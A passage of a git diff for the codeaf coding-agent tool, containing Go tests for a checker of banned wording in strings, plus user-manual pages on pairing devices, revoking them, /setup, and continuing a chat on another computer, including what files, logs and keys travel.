append(out, n) + } + } + return true + }) + return dropTags(out, tree) +} + +// isOldSpelling reports renamedFlag(flags, "old", "now"): both are words a +// person types, never sentences, and the old one is hidden from --help. +func isOldSpelling(call *ast.CallExpr) bool { + name, ok := call.Fun.(*ast.Ident) + return ok && name.Name == "renamedFlag" +} + +// isFlagDeclaration reports flags.String("name", "", "help"): the name is a +// word the person types, the help is a sentence they read. +func isFlagDeclaration(call *ast.CallExpr) bool { + sel, ok := call.Fun.(*ast.SelectorExpr) + if !ok { + return false + } + shape, ok := flagDeclarations[sel.Sel.Name] + return ok && len(call.Args) > shape.help && isStringLit(call.Args[shape.name]) +} + +// flagShape says where a declaring method keeps the flag's name and where its +// help text starts. +type flagShape struct{ name, help int } + +var flagDeclarations = map[string]flagShape{ + "String": {0, 2}, "Bool": {0, 2}, "Int": {0, 2}, "Duration": {0, 2}, "Float64": {0, 2}, + "StringVar": {1, 3}, "BoolVar": {1, 3}, "IntVar": {1, 3}, "DurationVar": {1, 3}, "Float64Var": {1, 3}, +} + +func isStringLit(expr ast.Expr) bool { + lit, ok := expr.(*ast.BasicLit) + return ok && lit.Kind == token.STRING +} + +func flagHelp(call *ast.CallExpr) []*ast.BasicLit { + var out []*ast.BasicLit + sel := call.Fun.(*ast.SelectorExpr) + for _, arg := range call.Args[flagDeclarations[sel.Sel.Name].help:] { + ast.Inspect(arg, func(n ast.Node) bool { + if lit, ok := n.(*ast.BasicLit); ok && lit.Kind == token.STRING { + out = append(out, lit) + } + return true + }) + } + return out +} + +// dropTags removes struct-tag literals, which are wire names. +func dropTags(lits []*ast.BasicLit, tree *ast.File) []*ast.BasicLit { + tags := map[*ast.BasicLit]bool{} + ast.Inspect(tree, func(n ast.Node) bool { + if f, ok := n.(*ast.Field); ok && f.Tag != nil { + tags[f.Tag] = true + } + return true + }) + kept := lits[:0] + for _, lit := range lits { + if !tags[lit] { + kept = append(kept, lit) + } + } + return kept +} + +// The checker itself is judged on a sample, so a green run means it looks. +func TestVocabularyLawSeesBannedWords(t *testing.T) { + src := "package p\nvar a = \"set it to your relay's address\"\nvar b = \"a task node\"\nvar c = \"set --via or CODEAF_TASK_BELT=node\"\nvar d = \"Move here\"\nfunc f() { flags.String(\"relay\", \"\", \"the sync address\") }\n" + dir := t.TempDir() + path := filepath.Join(dir, "p.go") + if err := os.WriteFile(path, []byte(src), 0o600); err != nil { + t.Fatal(err) + } + if got := bannedInStrings(t, path); len(got) != 2 { + t.Fatalf("want 2 findings (relay, node), got %v", got) + } +} + +func TestVocabularyLawSeesBannedWordsInFences(t *testing.T) { + body := "the relay explains\n```\nno relay is set up\nMove here\n```\n" + if got := bannedInFences(body); len(got) != 1 { + t.Fatalf("want 1 finding, got %v", got) + } +} diff --git a/internal/manual/chat/add-or-remove-a-computer.md b/internal/manual/chat/add-or-remove-a-computer.md new file mode 100644 index 0000000000..821e0fa145 --- /dev/null +++ b/internal/manual/chat/add-or-remove-a-computer.md @@ -0,0 +1,153 @@ +# Adding a computer to your devices, approving it, and removing it + +## How do I add a second device — the Add another device card (add another machine), codeaf pair, a link to paste, and pairing a server with no browser + +Your chats and your work can follow you to a second device. You add it in two steps. There is no account to make and no form to fill. + +While you have only one device, home shows a card at the foot: + +``` ++ Add another device +Add another device — pick up your work anywhere, exactly where you left it. +alt+d how +``` + +Press `alt+d` to open the steps, and `alt+d` again to close them: + +``` +1. On the new device, install and run: codeaf pair +2. It shows a link. Paste it here: +> +``` + +1. On the new device, install codeaf and run `codeaf pair`. It makes a link and waits. +2. On this device, paste that link into the card, or paste it anywhere on home, or type it as your message (on home, on the start page of a new chat, or in any chat) and press enter. The link is never sent to the model. The approve screen opens (see "Approve a new device" below). Text that is not a pair link stays in the box as before. + +The card goes away once you have two devices. It is not drawn when this chat cannot pair at all, for example a chat that runs over `--host` or `--at`. + +What the new device prints while it waits: + +``` +Approve this device from one you already use. + +Open this link there: + https://codeaf.agentfield.ai/p/k7m2q9xd#Qm9v… + +Or, on a computer with codeaf, run: + codeaf pair approve k7m2q9xd.Qm9v… + +Check number: 4821 — the other device shows the same number. +Waiting for approval (10 minutes). Press ctrl+c to cancel. +``` + +A device with no screen or no browser, such as a server, does the same: run `codeaf pair` there and approve from your laptop. Two things name the same request: the link `https://codeaf.agentfield.ai/p/#`, which opens in a browser and hands over to the installed app (the part after `#` never leaves the browser), and the bare token `.`, for a terminal where nobody can click. `codeaf pair approve` takes either one, and so does pasting into home. When it is approved it says how many workspaces it can now reach: + +``` +Paired. 3 workspaces available. +``` + +(`Paired. 1 workspace available.` when there is one.) + +## The pair words — approve, --code and --via + +``` +usage: codeaf pair [--name ] | codeaf pair approve | codeaf pair [--replace] [--name ] | codeaf pair --code +``` + +- `codeaf pair` with nothing after it is for the NEW device. It asks to join and shows a link. +- `codeaf pair approve ` is for a device that is already in. It shows who is asking and asks `y / n`. Pasting the link into the chat, or typing `/pair `, does the same thing on a screen. +- `codeaf pair --code` shows a six-digit code that gives your chats to another device, the older way. It is told in the page *Pairing your chats with a second device*. +- `--name ` is what your devices call this computer. See the page *Naming a device*. +- `--via
` names the address of the service to go through when it is not the one this device already uses. Pass it to both `codeaf pair` and `codeaf pair approve`. The new device prints the full approve line with `--via` in it when one is needed. + +A link is good for 10 minutes and one approval. If it ran out, run `codeaf pair` on the new device again. Ctrl+c while it waits ends with `Cancelled. Nothing was paired.` + +## The four-digit check — how I know the right computer is asking + +The new device shows a check number of four digits. The device that approves shows the same four digits. Look at both screens. Approve only when they match. If they do not match, decline: somebody else may have used the link. + +On the approving screen the number reads `Check number 4821. Approve only if the new device shows the same number.` In a terminal the question reads the same and you answer `y` or `n`. + +## Approve a new device — the approve screen, a and d, and decline + +When you open a link on a device that is already in (paste it, or type `/pair `), the screen says who is asking: + +``` +A new device wants to pair. + $ laptop · Linux + asked just now · 9 min left +Check number 4821. Approve only if the new device shows the same number. +a approve · d decline · esc later +``` + +- `a` lets it in. Press nothing else: **enter does nothing here**, because a device that is let in can read your chats. +- `d` declines it. The screen says `laptop was declined.` +- `esc` closes the screen without deciding. The request stays open until it runs out, and the same link opens it again. + +The line under the name says what system the new device runs (Mac, Linux, Windows, iPhone or iPad, Android, or unknown system), when it asked, and how many minutes are left. A request that ran out says `run out`, and the screen says `that request has run out — ask the new device for a new link`. + +While your answer is on its way the screen says `approving…` or `declining…` and offers no keys but `esc close`. If your other devices do not answer in time it says `no answer from your devices — try again`, and `a` and `d` work again. When the request has run out, `a` and `d` are not offered at all. + +When you approve, your screen says: + +``` +laptop is now paired. Your chats can continue there. +``` + +Every other device that is on says it too, a moment later, from the same message. In a terminal approval the line is `laptop is now paired. Your chats can continue there.` and a no says `Declined. Nothing was paired.` The terminal first says `laptop (Linux) wants to pair.` (the system is left out when it is not known). `codeaf pair approve` with nothing after it says `usage: codeaf pair approve — the link or code the new device shows`. + +## What does the dot next to a computer mean — the devices row, online and offline + +When you have two or more devices, home shows one row of them: + +``` +● This Mac ● spark ○ dumb (offline) +``` + +A filled green dot `●` is a device that is online now, and always your own. A hollow dim dot `○` with `(offline)` is one that is not online: its lid is closed or codeaf is not running there. A computer counts as online only while it keeps answering: when another computer has not answered for 25 seconds (it is asleep, frozen, switched off or disconnected) its dot goes hollow and reads `(offline)`, within 30 seconds of its last answer, and a frozen computer no longer shows as online for minutes. It is back at once when it answers again. The row changes by itself, with no key to press, when a device comes or goes. As a backstop, home also reads the list again every 5 minutes while it is connected, and every minute while it is not. If home cannot tell who is online, the row is not drawn, because a row that guessed would be wrong. + +Under the row, `alt+m bring work here` brings the newest chat of an online device to this one. With more than one choice it asks `Which device?` and the last choice is `leave it there`. If there is nothing to bring it says `no other device that is online has a chat to bring here`. The page *Continuing a chat on another device* tells what happens next. + +## Which devices do I have — /devices, how to remove or revoke one, a device that was revoked, and I was told this machine was removed + +Type `/devices` to list them: + +``` +› ● This Mac Mac this device + ● spark Linux + ○ dumb Linux seen 3h ago +↑↓ choose · n rename · r remove · esc close +``` + +A filled dot is online, a hollow one is not, and an offline device says when it was last on (`seen 3h ago`), or just `offline` when it was never seen. With only your own device it says `no other device yet — /pair adds one`, and the keys shrink to the ones that work: `n rename · esc close`. `r remove` shows only on a row that can be removed, and `↑↓ choose` only when there is another row. + +To remove a device (the command line calls this revoking: `codeaf devices revoke `), move to its row and press `r`. It is removed at once and the row says `removed`: + +``` +dumb was removed — it can no longer reach your chats. +``` + +The list is in a fixed order: this device first, then devices that are online, then the rest, each by name. Two devices with the same name show a short tail, such as `spark #a1b2`, so you can tell them apart. Your own computer has no `r`: it cannot remove itself, and if you press `r` there the list says `this device cannot remove itself — choose another row.` A computer that is already removed does nothing when you press `r`. A removed computer can only come back as a new request that you approve. If you remove a computer from another of your devices while this list is open, its row changes to `removed` here too, without closing the list. Removing a computer does not undo what it already holds: for a lost computer read the page *Locking out a lost computer for good*. + +**I was told this device was removed.** Another of your devices removed this one. The chat says: + +``` +this device was removed by another of your devices, so this chat stays here only — run `codeaf pair` to bring it back +``` + +`/devices` on the removed computer says the same line in place of the list. It appears the moment the other device removes this one, even if codeaf has been open for days, in the open chat and on the home screen alike, and once only. Your chats on this device are safe and stay on it. They no longer follow your other devices. To bring the device back, run `codeaf pair` here, then approve the link it shows from a device that is still in (the steps above). If you did not mean to remove it, that is the whole fix. + +## The link did not work — a pairing link or token that ran out, was declined or was answered already + +These are the sentences a link pairing says when it stops, in the words the screen uses. Nothing was changed on either device when you read one of them. + +- `that is not a codeaf pairing link or code; it looks like https://codeaf.agentfield.ai/p/k7m2q9xd#... or k7m2q9xd.`: what was pasted is neither shape. Paste the whole link or the whole `.` token. A link from any other host is not a codeaf link. +- `the link ran out before anyone approved it; run `codeaf pair` again for a new one`: a link is good for 10 minutes. +- `that link is not waiting any more; run `codeaf pair` on the new device for a fresh one`: the link is unknown, already used or gone. Those are one answer on purpose. +- `that request was already answered`: another of your devices approved or denied it first. +- `the request was declined on your other device; run `codeaf pair` to ask again`: the new device sees this when you decline. +- `the check number does not fit that device, so nothing was approved`: the number on the approve screen does not belong to the device that asked. Do not approve; ask again. +- `this computer is not paired with any device yet, so it cannot approve one; run `codeaf pair` first`: you ran `codeaf pair approve` on a computer that is not paired yet. +- `paired, but your devices could not be read yet; open codeaf again in a moment`: the pairing worked; the device list needs a moment. + +Too many requests from one network are refused too: at most 10 new links in an hour and 3 waiting at once from one network. See *Pairing your chats with a second computer* for the older six-digit code and its own limit `too many pairings from this network; wait 7 min`. diff --git a/internal/manual/chat/commands.md b/internal/manual/chat/commands.md index 506f8c5384..919730efa7 100644 --- a/internal/manual/chat/commands.md +++ b/internal/manual/chat/commands.md @@ -273,10 +273,23 @@ Canonical word, the other words it answers to, its argument form, and what it do | `/budget` | `/limits` | `` | sets the day's limit · `none` removes it | | `/budget` | `/limits` | ` ` | sets one by name: `day`, `conversation`, `plan`, `practice` | +## Pairing commands — /pair, /pair , /sync, /link and /laptop + +| Command | Aliases | Argument | Effect | +|---|---|---|---| +| `/pair` | `/sync`, `/link`, `/laptop` | — | shows a code like `42-715-302`, valid 10 minutes, that gives your chats to another computer, then asks `y / n` when that computer types it | +| `/pair` | `/sync`, `/link`, `/laptop` | `` | on the other computer: uses a code from `/pair` there, and shows three words to compare while it waits | +| `/pair` | `/sync`, `/link`, `/laptop` | `` | on a device that is already paired: opens a new device's request from the link it shows, with its name, system, time and a check number to compare, then `a` approves and `d` declines | +| `/devices` | — | — | lists your devices with `●` online and `○` away; `n` renames this device, `r` removes the one under the cursor at once, and a removed device can only return as a new request you approve | + +The words to type are `/pair`, `/pair `, `/sync`, `/link` and `/laptop`. All five open the same door. In a terminal the same two forms are `codeaf pair` and `codeaf pair `. The page *Pairing your chats with a second computer* has the whole story: the three words, one attempt for each code, and what revoking cannot take back. + ## Cache, display and export commands | Command | Aliases | Argument | Effect | |---|---|---|---| +| `/setup` | — | — | prepare this machine: shows what this device lacks for the conversation (present, installable, impossible) and, for a chat that moved here, the folders it did not bring along, and does nothing else | +| `/setup` | — | `now` | starts a setup turn in which the agent installs the installable items; asks first unless approvals are open | | `/cache` | — | — | how big the shared build cache is, and where | | `/cache` | — | `clean` | asks first, then deletes the cache to free disk — confirm with `/cache clean now` | | `/debug` | — | — | keeps the full record of **this conversation** from here on, and says which folder it goes to | @@ -2245,3 +2258,25 @@ tabs included, and opening a row brings the tab and its draft back too. notification and press `delete` to dismiss just that notification. Pending `your call` decisions stay visible. Dismissal does not stop work, accept a result, delete a task, or remove its output from Sessions. + +## /setup — prepare this machine so a conversation can run here + +A conversation carries a record of the tools and services it has used (codeaf builds it by +watching what ran; the agent cannot write it). `/setup` compares that record with this +machine and lists three kinds of line: what is already here, what the agent can install +("needs jq — agent can set it up"), and what is impossible on this machine (a GPU, a +Mac-only toolchain, a service on another network). Impossible lines are shown and never +attempted. For a chat that moved here from another machine it also lists `not brought along:` +the install folders a lockfile rebuilds (`node_modules`, `.venv`) with the command that brings +each back (see "What a moved chat left behind" in home). When nothing is installable and +nothing was left behind, `/setup` says so and does nothing. + +`/setup now` starts a **setup turn**: the agent installs the installable items, and brings back +what a move left behind, into user space, with the network open for that turn only. Every call in it is recorded as external +and the turn is marked as a setup turn in `codeaf cell log`. Because the network is open, +each call asks first, exactly like any other outside action, unless approvals are open +(`--yolo` or the allow posture). Limits: a setup turn is never replayed on another machine +(the agent does it again there), it never runs impossible items, it needs your permission +for the network, a sandboxed conversation can install only inside its own folder (`bin/`, `.venv/bin` and `node_modules/.bin` there count as this machine's tools), and it can be rewound like any turn. When it ends, codeaf looks at what is +now on this machine and updates the record. Cells are on by default (`CODEAF_CELLS=0` turns them off); without a +cell there is nothing to set up. diff --git a/internal/manual/chat/continuing-a-chat-on-another-computer.md b/internal/manual/chat/continuing-a-chat-on-another-computer.md new file mode 100644 index 0000000000..2de871dcc7 --- /dev/null +++ b/internal/manual/chat/continuing-a-chat-on-another-computer.md @@ -0,0 +1,105 @@ +# Continuing a chat that one of your machines holds + +This page is about continuing a chat on another computer: the question home asks, the offer when a device is off, and the line that says how long the move took. + +## Why can't I type in this chat — one of my machines is running it, Continue here, and what leave it there does + +A chat can be worked on by one device at a time. If you open a chat here that another of your devices is running right now, and you type a message and press enter, the message does not go to the chat. Home opens instead, with that chat's row under the cursor and the question up: + +``` +Continue this chat here? +running on spark; last saved turn 4s ago +1 continue here +2 leave it there +``` + +Your words stay in the box. Nothing was sent, and no branch nobody asked for was made. This card came up because you sent a message, not because you chose to continue, so `leave it there` is already chosen and leaning on enter changes nothing. Press `1`, then enter, to continue the chat on this device. + +This only happens in a window that has already read your other devices. A window that has not, sends as usual. Slash commands such as `/help` always work. + +If you continue it, the other device's window stops taking new turns and says ` continued this chat; this window now only shows it`. The page *Home* has the rest of that card. + +## What does running on spark mean — a row on home and the verb it offers + +Home lists chats from your other devices. A chat that a device is working on now says `running on `. One that a device let go of, or that went off because its lid closed, says ` offline`. + +Press enter on either row to continue it here. The verb on the card depends on the row: **Move here** for a chat another device is running right now, **Continue here** for one it let go of. You already chose to continue, so the cursor starts on `continue here` and enter completes the move; `esc` leaves it there. The card says how fresh the copy is, so you know how many turns may still be on the other device. + +## How do I continue on this machine — Continue where you left off, alt+c and alt+x + +If you open codeaf and a chat on another device was running or went off in the last 24 hours, and that device is offline now (its lid is closed) or has let go of the chat, home offers it first of all: + +``` +Continue spark's latest chat here? +alt+c continue here · alt+x not now +``` + +- `alt+c` opens the same card as above, with the reason and the cursor on `continue here`, so enter finishes it. Nothing is moved by this line alone. +- `alt+x` dismisses it for that device until you open codeaf again. + +The line follows the devices row: it stands while the device is offline or has let go of the chat, even if that became true after you opened codeaf, and goes away if the device comes back. A device that is online and still working on the chat is never offered. + +To bring work from a device that is online, use the devices row: `alt+m bring work here`. The page *Adding a device to your devices, approving it, and removing it* shows the row and the dots. + +## What happens when the chat arrives — the banner Moved from spark, and what was not brought + +When the chat opens on this device it starts with one line that says how long the move took: + +``` +Moved from spark in 3.2s. Everything as you left it. +``` + +If a command was running on the other device, the line goes on: + +``` +Moved from spark in 3.2s. Everything as you left it. What was running there can start again here. +``` + +When the other device's name is not known it reads `Moved here in 3.2s. Everything as you left it.` + +Right after, a card opens that says where the chat stands. It is the first thing on the screen of the chat. When something has to be set up here, the card asks whether to bring this device to the state the other one was in (the page *Home* has that question). When nothing has to be set up, the card only reports, with one answer that closes it: + +``` +Moved from spark. Here is where it stands. +not committed yet: main.go, util.go · last tests: passed +got it +``` + +The lines under the heading are: + +Each line is left out when it has nothing to say. + +- `not brought along:` folders the copy left behind, and any log or saved output that was too big or looked like a secret, with the reason. +- `was running there:` commands that were running on the other device. They are listed so you can start them again. +- `also needed:` what this device also needs. +- `not committed yet:` the files with changes that are not committed, up to three names and then `and N more`. +- `last tests:` `last tests: passed`, `last tests: failed`, or `last tests: failed 2` when the run said how many. A line with no test run behind it is not shown. + +On the set-up card, `set up` runs only the commands the card lists, and `not now` leaves it and says `/setup does this later`. + +**The project label.** If the folder the chat was left in is not on this device, the chat works in a copy of it that came along, and the label at the right of the keys row says so: `project: proj-a (copy here)`, with the folder's name. If this device does not know the folder, the label shows the chat's name instead. + +**If nothing happens when you press Continue here**, the cause is one of these: + +- `another device continued this chat first`: another device was faster. The row goes back to `running on `. Nothing changed. +- `other machines unreachable`: this device cannot reach the service. Nothing can be moved until it can. +- `could not continue this chat here`: the move failed. The row stays where it was; try again. +- With no way to continue set up, an off row has no `continue here`: enter says why. + +## Taking a chat back, and two computers racing for the same chat — who wins, and what the loser sees + +A chat has one holder at a time. To take a chat back from the computer that took it, continue it there the same way: press enter on its row on that computer and choose `continue here`. Nothing has to be returned or switched off first. A computer with the chat open when another takes it says ` continued this chat; this window now only shows it`, stops taking new turns, and keeps what it had not yet sent as a branch (` turns from : merge / discard`). A tool call the model tries there answers with that same line. Taking the chat back leaves a `node_modules` or other install folder that computer already has alone. + +If two computers press `continue here` for the same chat together, only one of them gets it. The slower one sees `another device continued this chat first`, nothing is changed on it, and its row goes back to `running on `. No turn is lost on either side: whatever the earlier holder had not sent is kept for you as the branch above. Pressing `2` (`leave it there`) on the question, or `esc`, changes nothing and leaves the chat where it is. + +While a chat is moving onto this computer, pressing enter on its row says `this chat is arriving on this computer; it opens by itself in a moment`. Nothing is wrong and nothing needs doing: the move takes a second or two, and the chat opens by itself when it ends, with the other computer's latest turns in it. Opening it earlier is refused on purpose, because a window opened halfway would show the chat as it was before the move and could not save your turns. + +When the holder is off (its lid is shut), the row reads ` offline` and you can still continue the chat here: the card says `last saved turn ago; up to turns may still be on `. Turns that never left that computer are not in the copy you get; when it comes back online it sees the chat was continued elsewhere and keeps those turns as a branch for you to merge or discard. + +## Can the chat on the other computer still open the job logs it mentions — logs, saved tool output, task journals and the task history after a move + +Yes. A chat's messages name files that sit beside the chat and not in your project: the log of a background job (`log at …/logs/jobs/2.log`), the full output of a tool result that was cut short (`full: logs/stubs/9c2f.txt`), and the journals of its tasks. They move with the chat. The other computer puts the logs and saved output back in the chat's own folder, so the same names open there. The task journals (each task's transcript, trajectory and saved output) are part of the chat itself, so they arrive whole inside it at the paths the chat reads them from. The first message it receives after the move says where they are now (`… that earlier messages name under were carried: they are under here`). A path in an old message still shows the old folder; use the new one. + +Three limits keep a move light, and they apply to job logs and saved tool output only. A single such file over 1 MiB stays behind, and so does whatever does not fit in 16 MiB together (the oldest go first). A task journal has no size limit and always moves whole. A file that looks like it holds a secret (a key, a token) stays behind too. Each one is named under `not brought along:` with the reason and `stayed on the machine that made it`; read it there by asking that machine, and never assume the other computer has it. + +Two things are made again on the other computer and are not carried: the project's task history (the list of finished tasks home and the tasks tool show), which is rebuilt from the chat's own record, and the git bookkeeping inside a task's working copy. The program's own files inside a task's working copy (the `.codeaf` folder, where a task's job logs sit) are not carried either, because they are not your work: they never show up on the other computer as a change you did not make. A file you made in the working copy does move. A task that finished on a kept branch keeps that branch in your project on the other computer, at the same commit. diff --git a/internal/manual/chat/getting-started.md b/internal/manual/chat/getting-started.md index 4c15917785..1c751e5e66 100644 --- a/internal/manual/chat/getting-started.md +++ b/internal/manual/chat/getting-started.md @@ -34,6 +34,17 @@ the value you already have, so pressing `enter` there agrees to exactly what is screen. Its heading is `Models and spending` and the line under it is `Keep these choices or change them.` +## I already use codeaf on a second computer — the code field on the first screen + +The first screen has one field for you if your chats are on another computer: + +``` +have a code from another device? +use your own relay: codeaf pair --via +``` + +On the computer that has your chats, type `/pair` to show a code like `42-715-302`. Type that code in the field. Compare the three words on both screens. The other computer asks `y / n`. On `y`, this computer has your chats. Read *Pairing your chats with a second computer* for the rest. + ## Skipping setup and reading its header `esc` on the first screen skips the setup: the flow is marked seen and it does not open diff --git a/internal/manual/chat/home.md b/internal/manual/chat/home.md index 82965e9bdd..6c8474da8c 100644 --- a/internal/manual/chat/home.md +++ b/internal/manual/chat/home.md @@ -288,6 +288,196 @@ before choosing the fifteen most recent, so each conversation appears once. The `opt+k` chats menu still lists open tabs; closing or reopening a conversation updates the tab and the row in Sessions together. +## Chats on my other machines — a chat running on another computer, "running on studio", "studio offline", why does it say running on build-box offline, merge / discard + +When this machine can reach your other machines, a chat that lives on one of them is a +row under **sessions**, beside the local ones and ordered by when its last saved turn +happened. The row says where the chat is only where that tells you something: + +| The chat is | The row says | +| --- | --- | +| running on another machine | `running on ` | +| on a machine that went off or to sleep without letting go | ` offline` | +| a branch left by a takeover | ` turns from : merge / discard`, or `: discard` alone where merge is not offered | +| held by this machine, or let go by everyone | nothing | + +Read the two words apart: `running on build-box` says that computer is working on the chat now, and `build-box offline` says that computer has not answered for 25 seconds (it is switched off, asleep, frozen or offline; the word appears within 30 seconds, and goes at once when it answers again) and has not let the chat go, so the chat's last saved turns are what you would get. The name is only the device's. A chat on a computer that is `offline` can still be continued here; the card says how many turns may still be there. A count of one reads `1 turn`, never `1 turns`. The device is the name you gave that machine. A chat whose name will not open shows +`untitled`, and a machine whose name will not open shows the first eight characters of +its id. On a narrow frame a branch's sentence shortens to ` turns · `, and where +even that will not fit the sentence gives way whole before the chat's name is cut, so a +row may show only the name and its age. These rows are stops for the cursor: enter runs +what the row offers, described in the next two sections. + +When the relay offers a live connection, home keeps one open and a change made on +another machine shows on home within a second or two. The list is also fetched once a +minute as a safety net, and at once when you open home or come back to the window. When the +relay does not offer a live connection (an older or self-hosted relay), or the connection is +down, home asks for the list instead. It asks only while home is on screen and the terminal +has your attention (its focus, or a key pressed in the last ten minutes). It asks every few +seconds while the list is changing and about once a minute while it is not. Each row's age is +counted from its last saved turn, so it keeps growing between fetches. + +If the other machines cannot be reached, the last list stays on screen and the line +`other machines unreachable` stands under it. With no connection set up at all (sync off, see "Sync your chats between machines" in running-from-the-terminal), nothing +extra is drawn and the panel is exactly the local list. `codeaf cell list --all` prints the +same rows in a terminal (see "The cell verbs" in running-from-the-terminal). + +## Continue a chat here that another machine left — "studio offline", takeover, "continue here", the chat is running on another computer + +Press enter on a row that says ` offline` or `running on ` and home asks **Continue this chat here?** +with the cursor on `continue here`, because pressing enter on the row already said you want it; `esc` or `2` leaves it there. +The card says how fresh the copy is: `last saved turn ago; up to turns may still +be on `. The `up to` clause is left out when nothing is waiting there. On a +`running on ` row the card starts with that: `running on ; last durable turn +s ago`. When that device is not online, the card leaves `running on` out and says `last saved turn ago`. Press enter to continue: the chat is fetched, this machine takes it +over at once and it opens. You do not wait for the other machine to go quiet: a chat that is +running there stops taking new turns there the moment you take it, and its window says +` continued this chat; this window now only shows it`. Anything it had not yet sent +is kept as a branch, ` turns from : merge / discard`. On a narrow frame the same +question takes the whole screen, with the sentence wrapped. + +- If you had unsaved edits to that chat here, they are not overwritten. They are kept as a + branch and the chat says `your unsaved edits here were kept as turns from `. +- If another machine took an `offline` chat first, the row goes back to `running on ` with one + line saying another device continued it first. Nothing was changed. +- If the other machines cannot be reached, enter says `other machines unreachable` and asks + nothing: no chat can be taken without them. +- With no way to continue set up, an offline row has no `continue here`: enter says its sentence. + +## What comes with a continued chat — the files, binary files, file modes, the executable bit, the .env, where the copy lives, no git needed + +Continuing a chat brings all of it: the whole conversation, and every file the chat worked +on, byte for byte: text and binary files, files that were never in a git repository, the +executable bit, links. The one exception is an install folder a lockfile rebuilds, such as +`node_modules` (see "What a moved chat left behind"). Nothing is fetched from git and no git login or remote is needed on +the machine that continues; everything comes from your relay. The copy lives in a folder of +its own under this machine's chats, and the chat works in a `work` folder inside it. Your +project folder on the other machine is not touched. If this machine already has the chat and +it works in one of your project folders, the chat is restored into that very folder: it is +never renamed or replaced, so an editor or git that holds it open keeps working, and it shows +the other machine's work. + +**Secrets do not travel in the files.** A `.env`, at any depth, and any other file that holds a +secret is kept out of the saved history and kept whole in your key vault instead, and the vault +travels with your chats. When you continue, each of those files is put back at the same +path in the chat's work folder, with the same bytes and the same permissions: comments, order +and quoting are as you wrote them. Each file is carried on its own, so two machines that edited +different files keep both. When both edited the same file, the one saved last wins as a whole +file, never line by line. A file you delete on one machine is deleted on the other. With no +identity on this machine, no secrets are fetched and no file is written. + +**Your keys travel too, through the same encrypted vault.** Two things are sealed in the +vault with your identity key and sent when they change, so a machine you continue on does not +ask you to enter keys again. One is `credentials.json`, the keys of every account you +connected. The other is the model keys stored in your profile's `config.json`: the model key, +the search keys, the app secret and the key of any model service that keeps its key in the +file. Each key is sent on its own: when two machines both changed the same key the one changed last +wins, changing a budget or any other setting never makes a key look newer, and removing a key on +one machine removes it on the other. A key that comes from an environment variable such as +`OPENROUTER_API_KEY` is never sent. A damaged `credentials.json` or `config.json` is never +sent and never replaces a good copy; when a good `credentials.json` arrives, the damaged file +is kept beside it as `credentials.json.damaged`. + +**Budgets stay per machine.** Only the key fields of `config.json` travel. Your budgets and +limits, model picks and every other setting are not sent, and a key arriving never changes them, +so a limit you set here is not applied to your other machine. A service's key lands only on a +machine that already has that service listed, and a machine without it never removes it for +your other machines. + +If you continue a chat on a machine that already has it, the chat as it was left replaces +what is there. Anything you had changed and never saved is kept first, as a branch, with the +sentence above; nothing is thrown away. If another machine takes the +chat while you are still fetching it, this machine keeps exactly what it had. + +## What a move carries and what it leaves behind — job logs, task history, kept branches, do spend and usage numbers sync between computers, memory, withheld folders + +A chat that moves to another computer brings, from the relay and sealed on the way: + +- the whole conversation, and every file in its folder; +- the files beside the chat that its messages name: a job's log (`logs/jobs/.log`) and a cut-short tool result's full output. A log or output file over 1 MiB, or past 16 MiB together, or one that looks like a secret, stays behind and is named under `not brought along:`. Each task's journal is not among them: it travels whole inside the chat, with no size limit. The job itself is not carried: `was running there:` lists it and codeaf never restarts it; +- the chat's dials (effort, approval), the folders it refers to and which tasks were put away; +- a task's unlanded working copy and its branch (see "Tasks that had not landed when a chat moved"), and a finished task's kept branch (see the same section); +- what the chat spent: the chat's share of the usage and spend figures is read again from its sealed record on the new computer, so its cost shows there and a rewind never drops it; +- the memories that chat wrote, kept in the chat's own ledger and read back into the new computer's memory. + +The project's task history (the list of finished tasks) and the git bookkeeping inside a task's working copy are not carried: they are made again on the other computer from the chat's own record. + +It leaves behind, and lists on the card under `not brought along:`: install folders a lockfile rebuilds (`node_modules`, `.venv`, `target`, `vendor`, `Pods`), files this computer cannot read, and one of two names that differ only in letter case or accent. A read-only folder arrives read-only. A secret file (`.env`) is not in the chat's files: it travels in the key vault. Budgets, limits and model picks are per computer and never travel. Memory that belongs to no chat, for example a line edited by hand in the memory place, stays on the computer it was written on. + +## What a moved chat left behind — set this machine up, why is node_modules missing, my dev server is not running after I moved, not brought along, rebuilt from the lockfile + +A chat that moves brings its conversation and every file it worked on, except an install +folder that a lockfile rebuilds: `node_modules` (with a `package-lock.json`, +`npm-shrinkwrap.json`, `pnpm-lock.yaml`, `yarn.lock`, `bun.lock` or `bun.lockb`), `.venv` or +`venv` (with `uv.lock`, `poetry.lock`, `pdm.lock`, `Pipfile.lock`, or a `requirements.txt` +that pins every version with `==`), `target` (with a `Cargo.lock` beside its `Cargo.toml`), +`vendor` (with a `composer.lock` or `Gemfile.lock`) and `Pods` (with a `Podfile.lock`). A +folder is left out only when its lockfile travels too, git tracks nothing inside it, and your +own `.furrowpolicy` does not already exclude it. A folder with no lockfile, build output such +as `.next` or `dist`, and data folders always travel. Rebuilding from the lock gives the same +packages, and a `node_modules` made on a Mac holds Mac programs that would be wrong on Linux. +A copy of the folder that a machine already has is never deleted: taking a chat back, or +rewinding, leaves it alone. + +Taking such a chat raises one card, **Set this machine up like had it?**, with +`set up` and `not now` (the cursor starts on `not now`). It lists `not brought along:` the +folders, each with the command that brings it back, `was running there:` the commands that +were running (a dev server, with its port), and `also needed:` the tools this machine lacks. +A line is left out when it has nothing to say, and a machine that has everything, such as +the one taking its own chat back, gets no card. + +`set up` starts the same setup turn as `/setup now`, opened with exactly those facts, and is +consent for exactly the commands the card lists: the agent runs them without asking again, +and any other command asks first, as in every setup turn, because the network is open for it. +`not now` and esc run nothing; the same facts reach the agent once, at its next step, as news +that asks for nothing, and `/setup` lists what is missing later. codeaf never restarts a +command by itself, and database rows or container data do not travel. A secret in a recorded +command is shown as `…`. Limits: there is no way to force a folder to travel, and what was +running is known only from the moment of the move. + +## A file that cannot be read, two files with the same name in different case — odd files and a moved chat, not brought along, read-only folder, hard links + +One odd file never stops a chat from saving or moving. A file that this machine cannot read +(mode `0000`, or owned by another user) is kept out of the saved history: the chat says +` cannot be read here, so it is left out of the saved history until its permissions +allow it`, the card lists it under `not brought along:` with the same reason, and everything +else saves as usual. Once the file can be read, the next save carries it. Two files whose +names differ only in letter case (`Readme.md` and `README.md`), or only in how an accent is +spelled, cannot both live on a Mac's default disk. The move brings one, the name that sorts +first (`README.md` before `Readme.md`), keeps the other out and lists it on the card as +`: not brought along; same name as here`. Taking the chat back leaves both +files on the machine that had them. A folder marked read-only moves 